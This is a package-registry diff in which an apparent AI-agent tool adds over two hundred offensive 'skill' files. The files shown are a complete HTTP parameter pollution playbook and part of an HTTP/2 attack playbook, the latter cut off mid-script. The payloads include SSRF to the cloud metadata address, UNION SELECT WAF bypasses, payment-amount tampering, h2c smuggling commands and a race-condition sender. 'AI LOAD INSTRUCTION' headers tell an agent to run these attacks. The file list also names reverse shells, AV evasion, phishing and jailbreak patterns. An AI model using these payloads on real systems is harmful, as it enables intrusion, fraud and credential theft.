ineedcodes 1.6.1 → 1.7.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (218) hide show
  1. package/package.json +2 -1
  2. package/skills/401-403-bypass-techniques/SKILL.md +348 -0
  3. package/skills/active-directory-acl-abuse/BLOODHOUND_PATHS.md +281 -0
  4. package/skills/active-directory-acl-abuse/SKILL.md +295 -0
  5. package/skills/active-directory-certificate-services/ADCS_ESC_MATRIX.md +197 -0
  6. package/skills/active-directory-certificate-services/SKILL.md +303 -0
  7. package/skills/active-directory-kerberos-attacks/KERBEROS_ATTACK_CHAINS.md +226 -0
  8. package/skills/active-directory-kerberos-attacks/SKILL.md +311 -0
  9. package/skills/ai-ml-security/SKILL.md +425 -0
  10. package/skills/android-pentesting-tricks/FRIDA_SCRIPTS.md +394 -0
  11. package/skills/android-pentesting-tricks/SKILL.md +369 -0
  12. package/skills/anti-debugging-techniques/ANTI_DEBUG_MATRIX.md +117 -0
  13. package/skills/anti-debugging-techniques/SKILL.md +407 -0
  14. package/skills/api-auth-and-jwt-abuse/SKILL.md +76 -0
  15. package/skills/api-authorization-and-bola/SKILL.md +48 -0
  16. package/skills/api-recon-and-docs/SKILL.md +61 -0
  17. package/skills/api-sec/SKILL.md +49 -0
  18. package/skills/arbitrary-write-to-rce/SKILL.md +361 -0
  19. package/skills/auth-sec/SKILL.md +41 -0
  20. package/skills/authbypass-authentication-flaws/SKILL.md +441 -0
  21. package/skills/bba-ad-attacker/SKILL.md +420 -0
  22. package/skills/bba-api-security/SKILL.md +95 -0
  23. package/skills/bba-attack-planner/SKILL.md +186 -0
  24. package/skills/bba-binary-exploit/SKILL.md +65 -0
  25. package/skills/bba-bizlogic-hunter/SKILL.md +304 -0
  26. package/skills/bba-bug-bounty/SKILL.md +245 -0
  27. package/skills/bba-cicd-redteam/SKILL.md +515 -0
  28. package/skills/bba-cloud-security/SKILL.md +97 -0
  29. package/skills/bba-container-escape/SKILL.md +161 -0
  30. package/skills/bba-credential-tester/SKILL.md +346 -0
  31. package/skills/bba-crypto-analyst/SKILL.md +54 -0
  32. package/skills/bba-ctf-solver/SKILL.md +166 -0
  33. package/skills/bba-detection-engineer/SKILL.md +93 -0
  34. package/skills/bba-engagement-planner/SKILL.md +68 -0
  35. package/skills/bba-exploit-chainer/SKILL.md +280 -0
  36. package/skills/bba-exploit-guide/SKILL.md +96 -0
  37. package/skills/bba-forensics-analyst/SKILL.md +512 -0
  38. package/skills/bba-graphql-hunter/SKILL.md +145 -0
  39. package/skills/bba-hardware-hacker/SKILL.md +57 -0
  40. package/skills/bba-jwt-cracker/SKILL.md +133 -0
  41. package/skills/bba-llm-redteam/SKILL.md +149 -0
  42. package/skills/bba-malware-analyst/SKILL.md +305 -0
  43. package/skills/bba-mobile-pentester/SKILL.md +350 -0
  44. package/skills/bba-osint-collector/SKILL.md +645 -0
  45. package/skills/bba-payload-crafter/SKILL.md +347 -0
  46. package/skills/bba-phishing-operator/SKILL.md +516 -0
  47. package/skills/bba-poc-validator/SKILL.md +249 -0
  48. package/skills/bba-privesc-advisor/SKILL.md +98 -0
  49. package/skills/bba-purple-team/SKILL.md +56 -0
  50. package/skills/bba-recon-advisor/SKILL.md +215 -0
  51. package/skills/bba-red-team-operator/SKILL.md +61 -0
  52. package/skills/bba-report-generator/SKILL.md +145 -0
  53. package/skills/bba-reverse-engineer/SKILL.md +298 -0
  54. package/skills/bba-social-engineer/SKILL.md +341 -0
  55. package/skills/bba-ssrf-hunter/SKILL.md +120 -0
  56. package/skills/bba-stig-analyst/SKILL.md +108 -0
  57. package/skills/bba-subdomain-takeover/SKILL.md +141 -0
  58. package/skills/bba-swarm-orchestrator/SKILL.md +351 -0
  59. package/skills/bba-threat-modeler/SKILL.md +574 -0
  60. package/skills/bba-vuln-scanner/SKILL.md +305 -0
  61. package/skills/bba-web-hunter/SKILL.md +285 -0
  62. package/skills/bba-wireless-pentester/SKILL.md +539 -0
  63. package/skills/binary-protection-bypass/PROTECTION_BYPASS_MATRIX.md +168 -0
  64. package/skills/binary-protection-bypass/SKILL.md +295 -0
  65. package/skills/browser-exploitation-v8/SKILL.md +334 -0
  66. package/skills/browser-exploitation-v8/V8_EXPLOITATION_PATTERNS.md +288 -0
  67. package/skills/business-logic-vuln/SKILL.md +33 -0
  68. package/skills/business-logic-vulnerabilities/CHECKLIST.md +375 -0
  69. package/skills/business-logic-vulnerabilities/METHODOLOGY.md +337 -0
  70. package/skills/business-logic-vulnerabilities/SCENARIOS.md +1095 -0
  71. package/skills/business-logic-vulnerabilities/SKILL.md +711 -0
  72. package/skills/classical-cipher-analysis/SKILL.md +663 -0
  73. package/skills/clickjacking/SKILL.md +163 -0
  74. package/skills/cmdi-command-injection/SKILL.md +687 -0
  75. package/skills/code-obfuscation-deobfuscation/SKILL.md +391 -0
  76. package/skills/container-escape-techniques/DOCKER_ESCAPE_CHAINS.md +296 -0
  77. package/skills/container-escape-techniques/SKILL.md +339 -0
  78. package/skills/cors-cross-origin-misconfiguration/SCENARIOS.md +152 -0
  79. package/skills/cors-cross-origin-misconfiguration/SKILL.md +270 -0
  80. package/skills/crlf-injection/SKILL.md +179 -0
  81. package/skills/csp-bypass-advanced/SKILL.md +259 -0
  82. package/skills/csrf-cross-site-request-forgery/SKILL.md +526 -0
  83. package/skills/csv-formula-injection/SKILL.md +144 -0
  84. package/skills/dangling-markup-injection/SKILL.md +321 -0
  85. package/skills/defi-attack-patterns/SKILL.md +355 -0
  86. package/skills/dependency-confusion/SKILL.md +178 -0
  87. package/skills/deserialization-insecure/JAVA_GADGET_CHAINS.md +511 -0
  88. package/skills/deserialization-insecure/SKILL.md +725 -0
  89. package/skills/dns-rebinding-attacks/SKILL.md +337 -0
  90. package/skills/email-header-injection/SKILL.md +349 -0
  91. package/skills/expression-language-injection/SKILL.md +243 -0
  92. package/skills/file-access-vuln/SKILL.md +33 -0
  93. package/skills/format-string-exploitation/SKILL.md +312 -0
  94. package/skills/ghost-bits-cast-attack/PAYLOAD_COOKBOOK.md +448 -0
  95. package/skills/ghost-bits-cast-attack/SKILL.md +799 -0
  96. package/skills/graphql-and-hidden-parameters/SKILL.md +50 -0
  97. package/skills/hack/SKILL.md +162 -0
  98. package/skills/hash-attack-techniques/SKILL.md +491 -0
  99. package/skills/heap-exploitation/HOUSE_OF_TECHNIQUES.md +244 -0
  100. package/skills/heap-exploitation/IO_FILE_EXPLOITATION.md +256 -0
  101. package/skills/heap-exploitation/SKILL.md +217 -0
  102. package/skills/http-host-header-attacks/SKILL.md +323 -0
  103. package/skills/http-parameter-pollution/SKILL.md +208 -0
  104. package/skills/http2-specific-attacks/SKILL.md +350 -0
  105. package/skills/idor-broken-object-authorization/SKILL.md +336 -0
  106. package/skills/injection-checking/EXTRA_INJECTION_TYPES.md +450 -0
  107. package/skills/injection-checking/SKILL.md +50 -0
  108. package/skills/insecure-source-code-management/SKILL.md +161 -0
  109. package/skills/ios-pentesting-tricks/IOS_RUNTIME_TRICKS.md +411 -0
  110. package/skills/ios-pentesting-tricks/SKILL.md +418 -0
  111. package/skills/jndi-injection/SKILL.md +265 -0
  112. package/skills/jwt-oauth-token-attacks/SKILL.md +301 -0
  113. package/skills/kernel-exploitation/KERNEL_HEAP_TECHNIQUES.md +293 -0
  114. package/skills/kernel-exploitation/KERNEL_MITIGATION_BYPASS.md +224 -0
  115. package/skills/kernel-exploitation/SKILL.md +307 -0
  116. package/skills/kubernetes-pentesting/SKILL.md +348 -0
  117. package/skills/lattice-crypto-attacks/SKILL.md +497 -0
  118. package/skills/linux-lateral-movement/SKILL.md +348 -0
  119. package/skills/linux-privilege-escalation/KERNEL_EXPLOITS_CHECKLIST.md +260 -0
  120. package/skills/linux-privilege-escalation/SKILL.md +346 -0
  121. package/skills/linux-privilege-escalation/SUID_CAPABILITIES_TRICKS.md +305 -0
  122. package/skills/linux-security-bypass/SKILL.md +345 -0
  123. package/skills/llm-prompt-injection/JAILBREAK_PATTERNS.md +306 -0
  124. package/skills/llm-prompt-injection/SKILL.md +357 -0
  125. package/skills/macos-process-injection/DYLIB_XPC_TECHNIQUES.md +373 -0
  126. package/skills/macos-process-injection/SKILL.md +384 -0
  127. package/skills/macos-security-bypass/SKILL.md +337 -0
  128. package/skills/macos-security-bypass/TCC_BYPASS_MATRIX.md +200 -0
  129. package/skills/memory-forensics-volatility/SKILL.md +323 -0
  130. package/skills/memory-forensics-volatility/VOLATILITY_CHEATSHEET.md +225 -0
  131. package/skills/mobile-ssl-pinning-bypass/SKILL.md +531 -0
  132. package/skills/network-protocol-attacks/NAME_RESOLUTION_POISONING.md +226 -0
  133. package/skills/network-protocol-attacks/SKILL.md +330 -0
  134. package/skills/nosql-injection/SKILL.md +341 -0
  135. package/skills/ntlm-relay-coercion/COERCION_METHODS.md +253 -0
  136. package/skills/ntlm-relay-coercion/SKILL.md +267 -0
  137. package/skills/oauth-oidc-misconfiguration/SKILL.md +46 -0
  138. package/skills/open-redirect/SKILL.md +380 -0
  139. package/skills/path-traversal-lfi/SKILL.md +802 -0
  140. package/skills/prototype-pollution/SKILL.md +190 -0
  141. package/skills/prototype-pollution-advanced/KNOWN_GADGETS.md +253 -0
  142. package/skills/prototype-pollution-advanced/SKILL.md +338 -0
  143. package/skills/race-condition/SKILL.md +526 -0
  144. package/skills/recon-and-methodology/SKILL.md +389 -0
  145. package/skills/recon-for-sec/SKILL.md +29 -0
  146. package/skills/request-smuggling/H2_SMUGGLING_VARIANTS.md +498 -0
  147. package/skills/request-smuggling/SKILL.md +314 -0
  148. package/skills/reverse-shell-techniques/SHELL_CHEATSHEET.md +196 -0
  149. package/skills/reverse-shell-techniques/SKILL.md +290 -0
  150. package/skills/rsa-attack-techniques/RSA_ATTACK_CATALOG.md +432 -0
  151. package/skills/rsa-attack-techniques/SKILL.md +437 -0
  152. package/skills/saml-sso-assertion-attacks/SKILL.md +41 -0
  153. package/skills/sandbox-escape-techniques/PYTHON_SANDBOX_ESCAPE.md +349 -0
  154. package/skills/sandbox-escape-techniques/SECCOMP_BYPASS.md +332 -0
  155. package/skills/sandbox-escape-techniques/SKILL.md +250 -0
  156. package/skills/smart-contract-vulnerabilities/SKILL.md +314 -0
  157. package/skills/smart-contract-vulnerabilities/SOLIDITY_VULN_PATTERNS.md +460 -0
  158. package/skills/sqli-sql-injection/SCENARIOS.md +575 -0
  159. package/skills/sqli-sql-injection/SKILL.md +489 -0
  160. package/skills/sqli-sql-injection/SQLMAP_ADVANCED.md +642 -0
  161. package/skills/ssrf-server-side-request-forgery/SCENARIOS.md +226 -0
  162. package/skills/ssrf-server-side-request-forgery/SKILL.md +323 -0
  163. package/skills/ssrf-server-side-request-forgery/URL_PARSER_TRICKS.md +650 -0
  164. package/skills/ssti-server-side-template-injection/ENGINE_PAYLOADS.md +456 -0
  165. package/skills/ssti-server-side-template-injection/SCENARIOS.md +319 -0
  166. package/skills/ssti-server-side-template-injection/SKILL.md +344 -0
  167. package/skills/stack-overflow-and-rop/ROP_ADVANCED_TECHNIQUES.md +249 -0
  168. package/skills/stack-overflow-and-rop/SKILL.md +304 -0
  169. package/skills/steganography-techniques/SKILL.md +348 -0
  170. package/skills/steganography-techniques/STEGO_TOOLS_GUIDE.md +335 -0
  171. package/skills/subdomain-takeover/SKILL.md +247 -0
  172. package/skills/symbolic-execution-tools/ANGR_COOKBOOK.md +437 -0
  173. package/skills/symbolic-execution-tools/SKILL.md +419 -0
  174. package/skills/symmetric-cipher-attacks/BLOCK_CIPHER_ATTACKS.md +364 -0
  175. package/skills/symmetric-cipher-attacks/SKILL.md +462 -0
  176. package/skills/traffic-analysis-pcap/SKILL.md +341 -0
  177. package/skills/tunneling-and-pivoting/SKILL.md +343 -0
  178. package/skills/type-juggling/SKILL.md +291 -0
  179. package/skills/unauthorized-access-common-services/PORT_SERVICE_MATRIX.md +340 -0
  180. package/skills/unauthorized-access-common-services/SKILL.md +388 -0
  181. package/skills/upload-insecure-files/SCENARIOS.md +158 -0
  182. package/skills/upload-insecure-files/SKILL.md +543 -0
  183. package/skills/vm-and-bytecode-reverse/SKILL.md +450 -0
  184. package/skills/vr-cheatsheet-authentication_bypass/SKILL.md +184 -0
  185. package/skills/vr-cheatsheet-dangerous_functions/SKILL.md +200 -0
  186. package/skills/vr-cheatsheet-linux_commands/SKILL.md +40 -0
  187. package/skills/vr-cheatsheet-rce/SKILL.md +177 -0
  188. package/skills/vr-cheatsheet-reverse_engineering/SKILL.md +144 -0
  189. package/skills/vr-cheatsheet-sqli/SKILL.md +270 -0
  190. package/skills/vr-cheatsheet-ssrf/SKILL.md +173 -0
  191. package/skills/vr-cheatsheet-xss/SKILL.md +177 -0
  192. package/skills/vr-methodology-mindset_and_tips/SKILL.md +51 -0
  193. package/skills/vr-template-vulnerability_report_template/SKILL.md +59 -0
  194. package/skills/vr-writeup-CVE-2026-9136/SKILL.md +171 -0
  195. package/skills/vr-writeup-ZVE-2026-3795/SKILL.md +350 -0
  196. package/skills/vr-writeup-api_key_leak/SKILL.md +103 -0
  197. package/skills/waf-bypass-techniques/SKILL.md +290 -0
  198. package/skills/waf-bypass-techniques/WAF_PRODUCT_MATRIX.md +202 -0
  199. package/skills/web-cache-deception/CACHE_POISONING_TECHNIQUES.md +637 -0
  200. package/skills/web-cache-deception/SKILL.md +222 -0
  201. package/skills/websocket-security/SKILL.md +454 -0
  202. package/skills/windows-av-evasion/AMSI_BYPASS_TECHNIQUES.md +289 -0
  203. package/skills/windows-av-evasion/SKILL.md +342 -0
  204. package/skills/windows-lateral-movement/CREDENTIAL_DUMPING.md +308 -0
  205. package/skills/windows-lateral-movement/SKILL.md +335 -0
  206. package/skills/windows-privilege-escalation/SKILL.md +328 -0
  207. package/skills/windows-privilege-escalation/TOKEN_POTATO_TRICKS.md +216 -0
  208. package/skills/windows-privilege-escalation/UAC_BYPASS_METHODS.md +225 -0
  209. package/skills/xslt-injection/SKILL.md +281 -0
  210. package/skills/xss-cross-site-scripting/ADVANCED_XSS_TRICKS.md +276 -0
  211. package/skills/xss-cross-site-scripting/SCENARIOS.md +278 -0
  212. package/skills/xss-cross-site-scripting/SKILL.md +379 -0
  213. package/skills/xxe-xml-external-entity/SCENARIOS.md +112 -0
  214. package/skills/xxe-xml-external-entity/SKILL.md +554 -0
  215. package/src/agent.js +1 -1
  216. package/src/session.js +6 -3
  217. package/src/skills.js +30 -6
  218. package/src/ui.js +1 -1
@@ -0,0 +1,208 @@
1
+ ---
2
+ name: http-parameter-pollution
3
+ description: >-
4
+ HTTP Parameter Pollution (HPP): duplicate query/body keys parsed differently by servers, proxies, WAFs, and app frameworks. Use when filters and application layers disagree on which value wins, enabling bypass, SSRF second URL, logic abuse, or CSRF token confusion.gated: true
5
+ ---
6
+
7
+ # SKILL: HTTP Parameter Pollution (HPP)
8
+
9
+ > **AI LOAD INSTRUCTION**: Model the **full request path**: browser → CDN/WAF → reverse proxy → app framework → business code. Duplicate keys (`a=1&a=2`) are not an error at HTTP level; each hop may pick first, last, join, or array-ify. Test HPP when WAF and app disagree, or when internal HTTP clients rebuild query strings. Routing note: when the same parameter appears multiple times, or WAF/backend stacks differ, use the Section 1 matrix to test first/last/merge assumptions, then design Section 3 scenario chains.
10
+
11
+ ## 0. QUICK START
12
+
13
+ **Hypothesis**: the **security check** reads one occurrence of a parameter while the **action** reads another.
14
+
15
+ ### First-pass payloads
16
+
17
+ ```text
18
+ id=1&id=2
19
+ id=1&id=1%20OR%201=1
20
+ url=https://legit.example&id=https://evil.example
21
+ amount=1&amount=9999
22
+ csrf=TOKEN_A&csrf=TOKEN_B
23
+ user=alice&user=admin
24
+ ```
25
+
26
+ ### Body variants (repeat for POST)
27
+
28
+ ```text
29
+ application/x-www-form-urlencoded
30
+ id=1&id=2
31
+
32
+ multipart/form-data
33
+ ------boundary
34
+ Content-Disposition: form-data; name="id"
35
+ 1
36
+ ------boundary
37
+ Content-Disposition: form-data; name="id"
38
+ 2
39
+ ```
40
+
41
+ ### Quick methodology
42
+
43
+ 1. Fingerprint **front** stack (CDN/WAF) vs **origin** (language/framework) using baseline `a=1&a=2`.
44
+ 2. Send **both** orders: `a=1&a=2` and `a=2&a=1` (some parsers are order-sensitive).
45
+ 3. If JSON: test **duplicate keys** and Content-Type confusion (see Section 2).
46
+
47
+ ---
48
+
49
+ ## 1. SERVER BEHAVIOR MATRIX
50
+
51
+ Typical defaults — **always confirm**; middleware and custom parsers override these.
52
+
53
+ | Technology | Behavior | Example: `a=1&a=2` |
54
+ |---|---|---|
55
+ | PHP / Apache (`$_GET`) | Last occurrence | `a=2` |
56
+ | ASP.NET / IIS | Often comma-joined (all) | `a=1,2` |
57
+ | JSP / Tomcat (servlet param) | First occurrence | `a=1` |
58
+ | Python / Django (`QueryDict`) | Last occurrence | `a=2` |
59
+ | Python / Flask (`request.args`) | First occurrence | `a=1` |
60
+ | Node.js / Express (`req.query`) | Array of values | `a=['1','2']` (shape may vary by parser version) |
61
+ | Perl / CGI | First occurrence | `a=1` |
62
+ | Ruby / Rack (Rack::Utils) | Last occurrence | `a=2` |
63
+ | Go `net/http` (`ParseQuery`) | First occurrence | `a=1` |
64
+
65
+ **Why it matters**: a WAF on **IIS** might see `1,2` while PHP backend receives `2` only — or the reverse if a proxy normalizes.
66
+
67
+ ---
68
+
69
+ ## 2. PAYLOAD PATTERNS
70
+
71
+ ### 2.1 Basic duplicate key
72
+
73
+ ```http
74
+ GET /api?q=safe&q=evil HTTP/1.1
75
+ ```
76
+
77
+ ### 2.2 Array-style (PHP / some frameworks)
78
+
79
+ ```http
80
+ GET /api?id[]=1&id[]=2 HTTP/1.1
81
+ ```
82
+
83
+ ### 2.3 Mixed array + scalar
84
+
85
+ ```http
86
+ GET /api?item[]=a&item=b HTTP/1.1
87
+ ```
88
+
89
+ ### 2.4 Encoded ampersand (parser differential)
90
+
91
+ ```text
92
+ # Literal & inside a value vs new pair — depends on decoder
93
+ param=value1%26other=value2
94
+ param=value1&other=value2
95
+ ```
96
+
97
+ ### 2.5 Nested / bracket keys
98
+
99
+ ```http
100
+ GET /api?user[name]=a&user[role]=user&user[role]=admin HTTP/1.1
101
+ ```
102
+
103
+ ### 2.6 JSON duplicate keys
104
+
105
+ ```json
106
+ {"test":"user","test":"admin"}
107
+ ```
108
+
109
+ Many parsers keep **last** key; some keep **first**. JavaScript `JSON.parse` keeps the last duplicate key.
110
+
111
+ ---
112
+
113
+ ## 3. ATTACK SCENARIOS
114
+
115
+ ### 3.1 HPP + WAF bypass
116
+
117
+ **Pattern**: WAF inspects **first** value; application uses **last**.
118
+
119
+ ```text
120
+ id=1&id=1%20UNION%20SELECT%20...
121
+ ```
122
+
123
+ Also try: benign value in JSON field duplicated in query string, if gateway merges sources differently.
124
+
125
+ ### 3.2 HPP + SSRF
126
+
127
+ **Pattern**: validator reads **safe** URL; fetcher reads **internal/evil** URL.
128
+
129
+ ```text
130
+ url=https://allowed.cdn.example/&url=http://169.254.169.254/
131
+ ```
132
+
133
+ Confirm which component (library vs app) consumes which occurrence.
134
+
135
+ ### 3.3 HPP + CSRF
136
+
137
+ **Pattern**: duplicate anti-CSRF token so one copy satisfies parser A and another satisfies parser B.
138
+
139
+ ```text
140
+ csrf=LEGIT&csrf=IGNORED_OR_ALT
141
+ ```
142
+
143
+ Use only in **authorized** CSRF assessments with a clear state-changing target.
144
+
145
+ ### 3.4 HPP + business logic (e.g. payment)
146
+
147
+ ```text
148
+ amount=1&amount=5000
149
+ quantity=1&quantity=-1
150
+ price=9.99&price=0.01
151
+ ```
152
+
153
+ Pair with **race conditions** or **server-side rounding** for higher impact; HPP alone often needs a split interpretation across layers.
154
+
155
+ ---
156
+
157
+ ## 4. TOOLS
158
+
159
+ | Tool | How to use |
160
+ |---|---|
161
+ | **Burp Suite** | Repeater: duplicate keys in raw query/body; Param Miner / extensions for hidden params; compare responses for `first` vs `last` interpretation |
162
+ | **OWASP ZAP** | Manual Request Editor; Automated Scan may not deeply fuzz HPP — prefer manual variants |
163
+ | **Custom scripts** | Build exact raw HTTP (preserve ordering) — some clients normalize duplicates |
164
+
165
+ **Tip**: log **raw** query strings at the app if you control a test lab; some frameworks expose only the “winning” value while logs show the full string.
166
+
167
+ ---
168
+
169
+ ## 5. DECISION TREE
170
+
171
+ ```text
172
+ +-------------------------+
173
+ | Duplicate param name |
174
+ | same request |
175
+ +------------+------------+
176
+ |
177
+ +------------------+------------------+
178
+ | |
179
+ +------v------+ +------v------+
180
+ | Single app | | WAF / CDN / |
181
+ | layer only | | proxy chain |
182
+ +------+------+ +------+------+
183
+ | |
184
+ +---------v---------+ +---------v---------+
185
+ | Read framework | | Map each hop: |
186
+ | docs + test | | first/last/join/ |
187
+ | a=1&a=2 vs swap | | array |
188
+ +---------+---------+ +---------+---------+
189
+ | |
190
+ +------------------+------------------+
191
+ |
192
+ +------v------+
193
+ | Pick attack |
194
+ | template |
195
+ +------+------+
196
+ |
197
+ +-----------+-----------+-----------+-----------+
198
+ | | | | |
199
+ +----v----+ +----v----+ +----v----+ +----v----+ +----v----+
200
+ | WAF vs | | SSRF | | CSRF | | Logic | | JSON |
201
+ | app | | split | | token | | numeric | | dup key |
202
+ | value | | URL | | confuse | | fields | | parsers |
203
+ +---------+ +---------+ +---------+ +---------+ +---------+
204
+ ```
205
+
206
+ ---
207
+
208
+ **Safety & scope**: HPP testing can change server state (payments, account settings). Run only where **explicitly authorized**, with scoped accounts, and document parser behavior before high-impact requests.
@@ -0,0 +1,350 @@
1
+ ---
2
+ name: http2-specific-attacks
3
+ description: >-
4
+ HTTP/2 protocol-specific attack playbook. Use when the target supports HTTP/2 and you need to exploit binary framing, HPACK compression, h2c upgrade smuggling, pseudo-header injection, stream multiplexing abuse, or H2→H1 downgrade translation flaws.gated: true
5
+ ---
6
+
7
+ # SKILL: HTTP/2 Specific Attacks — Expert Attack Playbook
8
+
9
+ > **AI LOAD INSTRUCTION**: HTTP/2 protocol-level attack techniques beyond basic request smuggling. Covers h2c smuggling, pseudo-header manipulation, HPACK attacks, single-packet race conditions, and H2→H1 downgrade injection. Base models conflate HTTP/2 smuggling with HTTP/1.1 smuggling — this skill focuses on H2-unique attack surface.
10
+
11
+ ## 0. RELATED ROUTING
12
+
13
+ - [request-smuggling](../request-smuggling/SKILL.md) — CL.TE/TE.CL/TE.TE fundamentals and H2.CL/H2.TE variants
14
+ - [request-smuggling/H2_SMUGGLING_VARIANTS.md](../request-smuggling/H2_SMUGGLING_VARIANTS.md) — byte-level H2.CL/H2.TE payloads, CL.0, client-side desync
15
+ - [race-condition](../race-condition/SKILL.md) — single-packet attack leverages H2 multiplexing for race conditions
16
+ - [web-cache-deception](../web-cache-deception/SKILL.md) — cache poisoning via H2 smuggled responses
17
+
18
+ ---
19
+
20
+ ## 1. HTTP/2 ATTACK SURFACE OVERVIEW
21
+
22
+ | Feature | Attack Surface |
23
+ |---|---|
24
+ | Binary framing | Frame-level manipulation, parser differentials |
25
+ | HPACK compression | Compression oracles (CRIME/BREACH), table poisoning |
26
+ | Multiplexing | Single-packet race conditions, RST_STREAM flood |
27
+ | Server push | Cache poisoning via unsolicited push |
28
+ | Pseudo-headers (`:method`/`:path`/`:authority`/`:scheme`) | Injection, request splitting, path discrepancy |
29
+
30
+ ---
31
+
32
+ ## 2. h2c (HTTP/2 CLEARTEXT) SMUGGLING
33
+
34
+ ### 2.1 Concept
35
+
36
+ h2c is HTTP/2 without TLS, negotiated via the HTTP/1.1 `Upgrade` mechanism. Many reverse proxies forward the `Upgrade: h2c` header without understanding it, allowing attackers to bypass proxy-level access controls.
37
+
38
+ ```
39
+ Client ──[Upgrade: h2c]──> Reverse Proxy ──[forwards blindly]──> Backend
40
+
41
+ Backend speaks H2
42
+ Proxy is blind to
43
+ the H2 conversation
44
+ ```
45
+
46
+ ### 2.2 Attack Flow
47
+
48
+ ```
49
+ 1. Client sends HTTP/1.1 request with:
50
+ GET / HTTP/1.1
51
+ Host: target.com
52
+ Upgrade: h2c
53
+ HTTP2-Settings: <base64 H2 settings>
54
+ Connection: Upgrade, HTTP2-Settings
55
+
56
+ 2. Proxy forwards request (doesn't understand h2c)
57
+ 3. Backend responds: HTTP/1.1 101 Switching Protocols
58
+ 4. Connection is now HTTP/2 between client and backend
59
+ 5. Proxy is now a TCP tunnel — cannot inspect/filter H2 frames
60
+ 6. Client sends H2 requests directly to backend, bypassing proxy rules
61
+ ```
62
+
63
+ ### 2.3 What You Can Bypass
64
+
65
+ ```
66
+ ✓ Path-based access controls (/admin blocked at proxy → accessible via h2c)
67
+ ✓ WAF rules (proxy-side WAF can't inspect H2 binary frames)
68
+ ✓ Rate limiting (proxy-level rate limits bypassed)
69
+ ✓ Authentication (proxy-enforced auth headers)
70
+ ✓ IP restrictions (proxy validates source IP, but h2c tunnel bypasses)
71
+ ```
72
+
73
+ ### 2.4 Tool: h2csmuggler
74
+
75
+ ```bash
76
+ # Install
77
+ git clone https://github.com/BishopFox/h2csmuggler
78
+ cd h2csmuggler
79
+ pip3 install h2
80
+
81
+ # Basic smuggle — access /admin bypassing proxy restrictions
82
+ python3 h2csmuggler.py -x https://target.com/ --test
83
+
84
+ # Smuggle specific path
85
+ python3 h2csmuggler.py -x https://target.com/ -X GET -p /admin/users
86
+
87
+ # With custom headers
88
+ python3 h2csmuggler.py -x https://target.com/ -X GET -p /admin \
89
+ -H "Authorization: Bearer token123"
90
+ ```
91
+
92
+ ### 2.5 Detection
93
+
94
+ ```bash
95
+ # Check if backend supports h2c upgrade
96
+ curl -v --http1.1 https://target.com/ \
97
+ -H "Upgrade: h2c" \
98
+ -H "HTTP2-Settings: AAMAAABkAAQCAAAAAAIAAAAA" \
99
+ -H "Connection: Upgrade, HTTP2-Settings"
100
+
101
+ # 101 Switching Protocols → h2c supported
102
+ # 200/400/other → h2c not supported or proxy blocks upgrade
103
+ ```
104
+
105
+ ---
106
+
107
+ ## 3. PSEUDO-HEADER INJECTION
108
+
109
+ ### 3.1 HTTP/2 Pseudo-Headers
110
+
111
+ HTTP/2 replaces the request line with pseudo-headers (prefixed with `:`):
112
+
113
+ | Pseudo-Header | HTTP/1.1 Equivalent | Example |
114
+ |---|---|---|
115
+ | `:method` | Request method | `GET`, `POST` |
116
+ | `:path` | Request URI | `/api/users` |
117
+ | `:authority` | Host header | `target.com` |
118
+ | `:scheme` | Protocol | `https` |
119
+
120
+ ### 3.2 Path Discrepancy Between Proxy and Backend
121
+
122
+ ```
123
+ Scenario: Proxy routes based on :path, backend uses different parsing
124
+
125
+ H2 request:
126
+ :method: GET
127
+ :path: /public/../admin/users
128
+ :authority: target.com
129
+
130
+ Proxy sees: /public/../admin/users → matches /public/* rule → ALLOWED
131
+ Backend normalizes: /admin/users → serves admin content
132
+ ```
133
+
134
+ ### 3.3 Duplicate Pseudo-Header Injection
135
+
136
+ HTTP/2 spec forbids duplicate pseudo-headers, but implementation varies:
137
+
138
+ ```
139
+ :method: GET
140
+ :path: /public
141
+ :path: /admin ← duplicate, forbidden by spec
142
+ :authority: target.com
143
+
144
+ Proxy may use first :path (/public) for routing
145
+ Backend may use last :path (/admin) for serving
146
+ ```
147
+
148
+ ### 3.4 Authority vs Host Disagreement
149
+
150
+ ```
151
+ :authority: public.target.com ← proxy routes based on this
152
+ host: admin.internal.target.com ← backend may prefer Host header
153
+
154
+ Result: proxy routes to public vhost, backend serves admin vhost
155
+ ```
156
+
157
+ ### 3.5 Scheme Manipulation
158
+
159
+ ```
160
+ :scheme: https
161
+ :path: /api/internal
162
+ :authority: target.com
163
+
164
+ If backend trusts :scheme to determine if request is "internal":
165
+ :scheme: https → "external" → restricted
166
+ :scheme: http → "internal" → unrestricted access
167
+ ```
168
+
169
+ ---
170
+
171
+ ## 4. HPACK COMPRESSION ATTACKS
172
+
173
+ ### 4.1 CRIME/BREACH on HTTP/2
174
+
175
+ ```
176
+ Principle: HPACK compresses headers. If attacker controls part of a header and a secret
177
+ exists in the same compression context, matching guesses → smaller frames → oracle.
178
+
179
+ Limitation: HPACK uses static+dynamic table (not raw DEFLATE), per-connection table,
180
+ requires many requests on same connection. Harder than original CRIME.
181
+ ```
182
+
183
+ ### 4.2 Header Table Poisoning
184
+
185
+ ```
186
+ HPACK dynamic table stores recent headers across requests on same connection.
187
+ 1. Attacker sends X-Custom: malicious-value → added to dynamic table
188
+ 2. Subsequent requests may reference this entry
189
+ 3. If CDN/proxy pools connections → attacker and victim share table → cross-request leakage
190
+ ```
191
+
192
+ ---
193
+
194
+ ## 5. STREAM MULTIPLEXING ABUSE
195
+
196
+ ### 5.1 Single-Packet Attack (Race Conditions)
197
+
198
+ HTTP/2 multiplexing allows sending multiple requests in a single TCP packet, achieving true simultaneous server-side processing:
199
+
200
+ ```
201
+ Traditional race condition: send N requests → network jitter → inconsistent timing
202
+ H2 single-packet: pack N requests into one TCP segment → all arrive simultaneously
203
+
204
+ ┌─ Stream 1: POST /transfer (amount=1000)
205
+ Single TCP packet ──├─ Stream 3: POST /transfer (amount=1000)
206
+ ├─ Stream 5: POST /transfer (amount=1000)
207
+ └─ Stream 7: POST /transfer (amount=1000)
208
+
209
+ All 4 requests processed at the same nanosecond window
210
+ ```
211
+
212
+ ```python
213
+ # Using h2 library — prepare all requests, send in single write
214
+ import h2.connection, h2.config, socket, ssl
215
+
216
+ ctx = ssl.create_default_context()
217
+ ctx.set_alpn_protocols(['h2'])
218
+ sock = ctx.wrap_socket(socket.create_connection((host, 443)), server_hostname=host)
219
+
220
+ conn = h2.connection.H2Connection(config=h2.config.H2Configuration(client_side=True))
221
+ conn.initiate_connection()
222
+ sock.sendall(conn.data_to_send())
223
+
224
+ for i in range(20):
